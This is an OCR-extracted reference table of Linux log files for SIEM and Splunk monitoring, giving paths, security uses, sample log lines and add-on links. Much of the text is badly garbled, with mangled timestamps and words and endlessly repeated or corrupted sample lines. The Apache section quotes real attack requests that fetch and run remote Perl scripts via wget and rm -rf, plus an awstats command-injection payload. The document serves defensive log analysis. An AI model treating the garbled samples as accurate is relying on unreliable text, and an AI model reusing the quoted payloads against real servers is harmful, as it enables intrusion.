S	SIEM - *nix logs data sources				Rustam Abdullin (Ideas are welcome) r.m.abdullin@gmail.com		
					https://www.linkedin.com/	in/rustam-abdullin-1101063	<u>85/</u>
	ource	here?)	How we can use it (security)	Example (Security related logs samples)	Configuration Details	Splunk App / Is CIM DataModels are supported?	Is it avaialble in Splunk ES?
/\ De	edHat-based systems: var/log/messages ebian-based systems: var/log/syslog	This log file contains generic system activity logs. It is mainly used to store informational and non-critical system messages.	were you can track mon-termel boot errors, application-related service errors, and the messages that are logged during system startup. This is the first log file that the Linux administrators log file that the Linux administrators Allo, Linux security systems uses this log file by default: iptables openupn.	Nartian log enabled: Feb 1174.505 gatain kennel: martian source 90.20131158 from 192.168.0.2, on dev ppp0 Feb 1174.505 gatain kennel: liheader 454.480.02826.868.400.0072.08a1c0.072.810.25814.83.9e12.36 Feb 1174.505 gatain kennel: martian source 90.2013158 from 192.168.0.2, on dev ppp0 Feb 1174.628 gatain kennel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian kernel: martian source 90.2013158 from 192.168.0.2, on dev pp0 Feb 1174.638 gatain kernel: martian ker		Splunk Add-on for Unix and Linux Linux https://splunkbase.splunk.com/app/833/	
De De	edHat-based systems: var/log/secure ebian-based systems: var/log/auth.log	All authentication related events in Debian and Ubuntu ser are tagged here. If you' in the looking fagged here. If you' involving the userthing involving the user thing involving the user thing in authorization mechanism, you can find it in this log file. RedHat and CentOS based systems use this log file instead of	Saspect that there might have been a security breach in your server? Notice a suspicious javascript file where it souddon't be! If so, then find this log file asap! Investigate failed login attempts Investigate brute-force attacks and other wulnerabilities related to user authorization mechanism.	SSH Login aucessful:] May 71 202228 slacker 2 shd [8813]. Accepted password for root from 192.168.20.185 port 1066 ssh2 May 71 202228 slacker 2 shd [8813]. Accepted password for root from 192.168.20.185 port 1066 ssh2 May 71 202228 sol 2 shd [22.587]; [ID 70239] auth-notice] User test], coming from 192.168.2185, - auth-neticated. CFT 109.25 sh2 SFT		https://splumkbase.splunk. com/app/3476/ CIM: yes https://splumkbase.splunk. com/app/3476/ Splunk Add-on for Unix and	
	usage dit stor messagrauthenn also tr logins	sage of authorization systems. i t stores all security related l essages including uthentication failures. It lso tracks sudo logins, SSH l	All user authentication events are logged here. This log file can provide detailed insight about unauthorized or failed login attempts can be very useful to detect possible hacking attempts. It also stores information about successful logins and tracks the activities of valid users.	SSH musifu user fogin attempt: Jul 710:3124 chares sahrigh537): musifu user admin from spongeboblab.ossec.net Jul 710:3124 chares sahrigh537): musifu user admin from spongeboblab.ossec.net Jul 710:3124 kbbs sahrigh238): Este did not allowed because listed in DenyUsers SUDO: SUDO: Jul 710:3124 kbb sahrigh238): User did not allowed because listed in DenyUsers SUDO: Jul 710:3124 kbb sahrigh238): User did not allowed because listed in DenyUsers SUDO: Jul 710:3124 kbb sahrigh238): User did not allowed because listed in DenyUsers SUDO: Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUsers Jul 710:3124 kbb sahrigh238; User did not allowed because listed in DenyUser		https://splunkbase.splunk.com/app/833/ CIM: yes	
	var/log/boot.log	The system initialization script, /etc/init.d/bootmisc. sh, sends all bootup messages to this log file This is the repository of booting related information and messages logged during system startup process.	You should analyze this log file to investigate issues related to improper shutdown, unplanned reboots or booting failures. Can also be useful to determine the duration of system downtime caused by an unexpected shutdown.	m			
4 //	var/log/dmesg	This log file contains kernel ing buffer nessages. Information related to hardware longed here as the kernel logged here. As the kernel logged here. As the kernel detects physical hardware devices associated with the server during the booting of the server during the booting status, hardware errors and other generic messages.	This log file is useful for dedicated server ustomers mostly. If a certain hardware is functioning improperly or not this log file to troubleshoot this log file to troubleshoot the issue. Or, you can purchase a managed server from us and we'll monitor it for you.	Connection of USB linput device to baremetal server: [SSSE3A986] Insu: SEM USB (Abpoint Consumer Control as /devices/pci000000/00000014.0 (asb17.0 1.20 18003140.C2102.0 0.008/input/inputS) [SSSE8BTS4] Insu: SEM USB (Abpoint Gorsumer Control as /devices/pci0000000/00000014.0 (asb17.2 1.10003140.C2102.0 0.008/input/inputS9) [SSSE8BTS4] Insu: SEM USB (Abpoint Gorsumer) (as /devices/pci0000000/00000014.0 (asb17.2 1.110003140.C2102.0 0.008/input/inputS9) [SSSSE8BTS6] Inst: Semi-generic 0003140.C2102.4 0.0018 input.hidraws: USB HID V110 Device [SEM USB (Rejboard) on usb 00000014.0 2/input USB device number 22 using xhc1, bcd [SSSI0018796] usb 11-new low-special using device number 22 using xhc1, bcd [SSSI0018796] usb 11-new USB device strings Mrf1. Productv2, Serial Number/10 [SSSI018796] usb 11-Product USB device strings Mrf1. Productv2, Serial Number/10 [SSSI018796] usb 11-Product USB optical Mouse [SSSI018796] usb 11-Product USB optical Mouse as /devices/pci0000.00/0000.0014.0/usb1/1-1/1-11.0 [SSSI0187976] usb 12-Manufacturer: Logitech [SSSI0187777] usb 12-Manufacturer: Logitech [SSSI01877777] usb 12-Manufacturer: Logitech [SSSI018777777777777777777777777777777777777			
	var/log/kern.log	This is a very important log file as it contains information logged by the kernel.	Perfect for troubleshooting kernel related errors and warnings. Kernel logs can be helpful to troubleshoot a custom- built kernel. Can also come handy in debugging hardware and connectivity issues.	777			
	var/log/faillog	This file contains information on failed login attempts.	It can be a useful log file to find out any attempted security breaches involving username/password hacking and brute-force attacks.				
	var/log/cron	This log file records information on cron jobs.	whenever a cron job runs, this log file records all relevant information including successful execution and error making the second successful execution and error having problems with your scheduled cron, you need to check out this log file.	Contab selfed by not Sep 11 094639 sign contab [2060] (not) BEGIN EDIT (not) Sep 11 094639 sign contab [2060] (not) REGIN EDIT (not) Sep 11 094639 sign contab [2060] (not) REDIT (not) Sep 11 094639 sign contab [2060] (not) REDIT (not) This is not editing another user's contab: Sep 11 095136 sign contab [2020] (not) BEGIN EDIT (user) Sep 11 095136 sign contab [2020] (not) BEGIN EDIT (user) Sep 11 095136 sign contab [2020] (not) REDIT (user) Sep 11 095136 sign contab [2020] (not) REDIT (user) Sep 11 095136 sign contab [2020] (level) REDIT (user) This is a user editing their own contab: Sep 11 095136 sign contab [2020] (level) REDIT (user) Sep 11 095136 sign contab [2020] (level) BEGIN EDIT (user) Sep 11 095146 sign contab [2020] (level) REDIT (user) Sep 11 095146 sign contab [2020] (level) REDIT (user) Sep 11 095146 sign contab [2020] (level) REDIT (user) Sep 11 095146 sign contab [2020] (level) REDIT (user) Additional samples: Sep 11 182037 concababan contab [7972]; (doid) BEGIN EDIT (doid) Sep 11 182236 copacabana contab [7972]; (doid) EDIT (doid) Sep 11 182236 copacabana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 copacabana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 copacabana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 copacabana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 (level cababana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 (level cababana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 (level cababana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 (level cababana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 (level cababana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 (level cababana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 (level cababana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 (level cababana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 (level cababana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 (level cababana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 (level cababana (contab [2797]; (doid) EDIT (doid) Sep 11 182236 (level cababa			
8 /	var/log/yum.log	It contains the information that is logged when a new package is installed using the yun command.	Track the installation of system components and orbitare packages. Check the messages logged byte to see when the property of the seed of	Yum log samples: Dec 7070506 as yum: Installed: IIIbX11-devel - 1.0.3-9.e15.1386 Dec 7070506 as yum: Installed: IIIbX11-devel - 1.0.3-9.e15.1386 Dec 7070506 as yum: Installed: IIIbX11-devel - 1.0.1.2.1386 Dec 7070506 as yum: Understand the IIIbX11-devel - 1.0.1.2.1386 Dec 71405348 as yum-updates of hisper error getting update info: Cannot retrieve repository metadata (repomdxml) for repository rele-186.64-server-vt-5. Please verify its path and try again Dec 18 0150506 by yum: Updates info: 47.43-26.54 as dec. 64. Aug 20 124556 Updated: peri1386 6.58.8-10.62, 25.28.6.64 Aug 20 124565 Updated: peri1386 6.58.8-10.62, 25.28.6.64 Aug 20 12456 Updated: peri1386 6.58.8-10.62, 25.28.64 Aug 20 12456 Updated: peri1386 6.58.86, 25.28.64 Aug 20 12456 Updated: peri13			

	нттр	This directory contains the	The error_log contains messages related	Mambo attacks and their patterns in the apache access log file.		Splunk Add-on for Apache Web	Web	
	RHEL / Red Hat / CentOS /	logs recorded by the Apache server. Apache server logging	to httpd errors such as memory issues and other system related errors. This is the	193.91.75.11 [18/Aug/2006:13:23:13 -0300] "GET /index.php?_REQUEST[option]=com_content&_REQUEST		Server https://splunkbase.splunk.		
	Fedora Linux Apache access file location - /var/log/httpd/access_log	information are stored in two	place where Apache server writes events and error records encountered while processing httpd requests. If something	&cmd=cd%20/tmp/,wget%20http://www.freewebs.com/nokla-yes/mambo.txt;perl%20mambo.txt;rm% 20-rf%20mambo.*? HTTP/1.0" 200 167 "-" "Mozilla/5.0"		com/app/3186/ CIM: yes		
	Debian / Ubuntu Linux Apache access log file location -	/var/log/apache2/access.log - records of every page served and every file loaded by the	processing nutron requests. It something goes wrong with the Apache webserver, check this log for diagnostic information. Besides the error-log file, Apache also maintains a separate list of	PazzyTiza51 [IB/Aug 2000052407-0500] vcst /index.php. REQUEST (print) com_content, REQUEST [Internal IBCU IST] index shronsConfig_absolute_path-http://www.openkid.co. kr/boolgff26cmd-icdhizo/thmpk/vgcfk300http://www.openkid.co.kr/mambo.txtpzrfk20mambo.txtrm% 20-fk20mambox 7 HTTP/10 20 167 5" Mozdilla year index of the participation o		CIM: yes		
	/var/log/apache2/access. log FreeBSD Apache access log	web server. /var/log/apache2/error.log - records of all error conditions reported by the HTTP server	access_log. All access requests received over HTTP are stored in the access_log file. Helps you keep track of every page served and every file loaded by Anache.	201.226.254.210 [IB/Aug/2006:13:47:46 -0300] "GET /index.php?.REQUEST[option] "com.content8.REQUEST[ltemid]=IBGLOBALS=8mosConfig_absolute_path=http://www.freewebs.com/nokia-ves/rooloid/178.cmd/od/320/fmos/wes/120/htm//www.freewebs.com/nokia-ves/rooloid/178.cmd/od/320/fmos/wes/120/htm//www.freewebs.com/nokia-ves/mosloid/320/fmos/wes/120/htm//wy.freewebs.com/nokia-ves/mosloid/320/fmos/wes/120/htm//wy.freewebs.com/nokia-ves/mosloid/320/fmos/wes/120/htm//wreewebs.com/nokia-ves/mosloid/320/fmos/wes/nokia-ves/mosloid/320/fmosloid				
	file location - /var/log/httpd-access.log		Logs the IP address and user ID of all clients that make connection requests to the server. Stores information about the status of the access requests, - whether a response was sent successfully or the	perfix20mambo.txt;rm%20-rf%20mambo*? HTTP/1.0* 200 167 "-" "Mozilla/5.0" 212.22713.25 [18/Aug/2006155629 - 3050] "GET /Index.php?_REQUEST[option] **com_contents_REQUEST[indial148.CLOBALS-8mosConfided_absolute_path+http://www.freewebs.				
			request resulted in a failure. HTTP Status codes: https://blog.codeasite.com/wp-	com/nokia-yes/fool.gi782cmdicd8i201tmpl/wget%20http://www.freewebs.com/nokia-yes/mambo.txt; perf%20mambo.txt;rm%20-f%20mambo.*? HTTPf\0.07 200 167 ** "Mozilla/S-0" \$2.03159.21 [18/dug/20061358.02 - 0300] "GET /index.php?_REQUEST[option] "com_content8_REQUEST[itemid]=18CLOBALS-8mosConfig_absolute_path=http://www.freewebs.				
			content/uploads/bownloads/HTTP%20Status% 20Codes%20-%20Code%20A%20Site%20Resource. pdf /var/log/apache2/access.log (Ubuntu/DEB)	com/nokia-yes/toolgif78cmd+cd%20\tmp/tyget%20\tmp/lyget%20\tmp/lyww.freewebs.com/nokia-yes/mambotxt, perf820mambotxt;rm%20-f%20mamboty+1HTPf0*200 fb7****Mczilla/50** PHPBB attacks and their patterns in the apache access log file. 2073.6272.146 [28/uyg/2006/07.0846-0300] "CET /Index.				
			Access Log file records incoming requests and all requests processed by apache. Such as HTTP get and post requests. These logs can be parsed by log parsers such as awstats or webalizer. This is	info/folder/cmd1.gif78c.md=cd%20/tmp//vget%20http://baupalinfo/folder/mambo1.txt.perf%20mambo1. bt.trm%20-df%20mambo1* ThTPI/0* 200 14611 ** "Mozilla/5.0" ** 193.2551435 * 128/Aug/2006:07:52:45 -0300] "GET /index.php/moduler/Forums/admin/admin_users.				
			configurable by the CustomLog directive. /war/log/apache2/error.log (Ubuntu/DEB) All Apache errors and diagnostic information found while serving requests are stored here. Location of the error. log file is set by Errorlog Directive.	jeh?phpbb_root_pathwittp;/kirtual.uarg.unpa.edu.admyftpfist.ttr?&cmd-cdl%20/tmp/kygef%20http://lipuaplatinfo/cide/mambolt_trp@20mambolt_trm?do-f%20mambolt_HTPfi.07 200 14527 \cdots Mozilla.07				
				"-" "Mozilla/k.0 (compatible; MSIE 6.0; Windows NT S1; SV1; .NET CLR 1.1.4322)" Night of scans				
				[I]/Dec/2005.0240-45-0500] - 85.226.238.xxv "GET [avastats[abstats pi7configdirijechosechxiz0/vy/ cul2003/Zimpix/swget8x02076/is26/kzc209/si278/isitsenfi3schmodfix0/202bx/is201sten/%35/kz6/ Zilisten/k202fe/kz6/22/kz218/zilisten/si3schonki/207/vyecho] HTTP/11** 302.547 0 [i]/bec/2005.024-06-0500] - 85.26.238.xxv "GET [abj-inha/wstats.pi7configdirijechosychol/207/vy- cdl/s203/Zimpi/Stwyget8x02f6/kze18/kze209/wze18/zilisten/k350chmodfk/207/zbx/k201sten/k35/kze% Zilisten/k202f6/kze18/zze18/zilisten/s05/kze19/zilisten/k350chmodfk/207/zbx/k201sten/k35/kze%				
10	/var/log/mysqld.log or	As the name suggests, this is the MySQL log file. All debug,	Use this log to identify problems while	Zilisterik/2026/R2-0/23/R2-213/2-elTsjechol/3/20/YVjechol HTTP/1" * 3/0.5 647 0 [Yi/Dec/2005.02/4-07.500] - 8.5 2.6.2 3.8.xx. "EEF [bi-lin]wastasi/wastaspiconi[gdiri echoechol/20/Y/jechol/20/X/tmpii/Stwgerii/20/26/R2-05/20/26/20/Zilisterik/3-0/20				
	/var/log/mysql.log	failure and success messages related to the [mysqld] and [mysqld_safe] daemon are logged to this file. RedHat, CentOS and Fedora stores MySOL logs	starting, running, or stopping mysqld. Get information about client connections to the MySQL data directory You can also setup 'long query time' parameter to log information about query locks and slow running queries.	The timestamp of MySQL logs only appear in the first event during that time. It means that <a command="" href="https://dr.doi.org/10.10/1</td><td></td><td></td><td></td></tr><tr><td></td><td></td><td>under /var/log/mysqld.log,
while Debian and Ubuntu
maintains the log in
/var/log/mysql.log directory.</td><td></td><td>060516 22:3854 InnoDB: Started; log sequence number 0 0
Shutdown:
Shutdown:
050022 20:5806 [http://disease.org/sold/15/butdown complete
Errors 20:5806 [http://disease.org/sold/15/butdown complete</td><td></td><td></td><td></td></tr><tr><td></td><td></td><td></td><td></td><td>060516 22:85.4 [BROD] Fatal error. Can't open privilege tables. Table 'mysql.host' doesn't exist
Connections, queries: 070823 2100:32 Connect oncog@localhost on test
070823 2100:48 Query show tables
070823 2100:48 Query sheet: 1 from category
070971 (62:20) 21 Query select: 1 from location</td><td></td><td></td><td></td></tr><tr><td></td><td>/var/log/daemon.log</td><td>tracks services running in the
background that perform
important tasks, but has no
graphical output.</td><td></td><td>070917 16:2912 ZI Query select * from location where id = 1 LIMIT 1</td><td></td><td></td><td></td></tr><tr><td></td><td>/var/log/btmp /var/log/utmp</td><td>recordings of failed login
attempts
current login state, by user</td><td></td><td></td><td></td><td></td><td></td></tr><tr><td></td><td>/var/log/lastlog
/var/log/faillog
/var/log/wtmp</td><td>The login failures log located at /war/log/failing is actually designed to be parsed and displayed by the faillog command. The last logins log at /war/log/lastlog should not</td><td>/var/log/wtmp - Shows user, source, time, and duration of login - Need to use Linux " last"="" td="" to="" view<=""><td>[SSSS] sudo utmpdump varlog/ktmp [S] (2028) [I0 1</td><td></td><td></td><td></td>	[SSSS] sudo utmpdump varlog/ktmp [S] (2028) [I0 1			
		typically be parsed and examined by humans, but rather should be used in conjunction with the lastlog command. The file /var/log/wtmp contains login records, but unlike /var/log/lastlog above, /var/log/ktmp is not used to						
15	sudo	/var/log/withp is not used to show a list of recent logins, but is instead used by other utilities such as the who command to present a listed of currently logged in users.			https://github.	sudo technology add-on	Authentication	
16	/var/log/sudo	The Server Message Block			com/doksu/TA_sudo	https://splunkbase.splunk. com/app/3038/#/details CIM: yes https://wiki.samba.org/index.		
.	log file = /var/log/samba/%m.log	Protocol (SMB) server, Samba is popularly used for sharing files between your Ubuntu computer and other computers which support the SMB protocol. Samba keeps three distinct types of logs in the				pho/Configuring Logging on a Sa		
		subdirectory /var/log/samba: log.nmbd - messages related to Samba's NETBIDS over IP functionality (the network stuff) log.smbd - messages related to Samba's SNB/CIFS functionality (the file and print sharing stuff) log.						
17	nginx	print sharing stuff) log. [IP_ADDRESS] - messages related to requests for services from the IP address contained in the log file name, for example, log.192.168.1.1. NGINN writes information about		Access log sample:	https://www.nginx.	Splunk Add-on for NGINX	222	
	/var/log/nginx/error.log	encountered issues of different severity levels to the error		"(time_local": "29/Dec/2016:20:31:59 +0000";core": ("body_bytes_sent": "102";remote_addr": "127.0.01"; remote_user: ""/request": 'CET /stub_status HTTP/11";http: ("http_referer": "";http_user_agent":	com/blog/operational- intelligence-nginx-plus-splunk-	https://splunkbase.splunk. com/app/3258/		
	/var/log/nginx/access.log	log. The error log directive sets up logging to a particular file, stderr, or syslog and specifies the minimal severity level of messages to log. By default, the error log is located at logs/error.log (the absolute path depends on the		remote_user:""request: "GET Attu_status HTPP1;"http://retre-r:","http_user_agent: 'nginx-amplify-agent0A0-2;"http_r_forwarded_for: "]))	enterprise/	CIM: yes		
		operating system and installation), and messages from all severity levels above the one specified are logged. NGINX writes information about						
		client requests in the accord		I .	I			
		client requests in the access in graphs are the request is processed. By default, the access log is located at logs/access.log, and the logs for the result of the log in the predefined cobined format. To override the default setting, use the log format directive to change the format of logged messages, as well as the access log directive to specify the location of the log						
18	netfilter iptubles	log right after the request is processed. By default, the access log is located at logs/access.log, and the information is written to the log in the predefined combined format. To override the default setting, use the log format directive to change the format of logged messages, as well as the access log directive to			"linux:netfilter" sourcetype	Linux Netfilter (iptables)	2222	
18	netfilter iptables firewalld bears: /var/log/ufw.log RedMat: /var/log/iptables. log	log right after the request is processed. By default, the access log is located at logs/acces.log, and the information is written to the log in the predefined combined format. To over-ide the default setting, use the log format setting, use the log format of logged messages, as well as the access log directive to specify the location of the log and its format. The log format			"Ninus:netfiler" sourcetype https://github. com/doksu/Ta.netfiler/wiki	Linux NetFilter (iptables) Technology Add-on Tres://splumbase.splumk. NetFiler Dytables App for Splumk Enterprise Nttps://splumbase.splumk. Com/App/1505/Veftelis	2222	

	Advanced (HIDS, etc.)				
23	OSSEC:		https://ossec-docs.readthedocs.io/en/latest/log_samples/ossec/attacks_caught_by_ossec.html#sshd- brute-force		
16	audite	/var/log/audit/audit.log Stores information from Linux Audit deamon (auditd). This log contains read/writes to . An example is you can determine who changed a specific file. https://sccss.ruchbar. com/documentation/en- us/red, hat, enterprise linux/6/html/securi ty_guide/sec- understanding_audit_log_files		1	??? Alert, IDS, Change, Account, Authentication
	Articles:				
	https://www.sans.org/brochure/course/log-management-in-depth/6				
	https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/htm	tml/security_guide/sec-understanding_audit_log_files			
	https://help.ubuntu.com/community/LinuxLogFiles				
	https://ossec-docs.readthedocs.io/en/latest/log_samples/firewalls/lptables.htm	ol .			
	https://ossec-docs.readthedocs.jo/en/latest/log_samples/				
	https://habr.com/ru/post/332502/				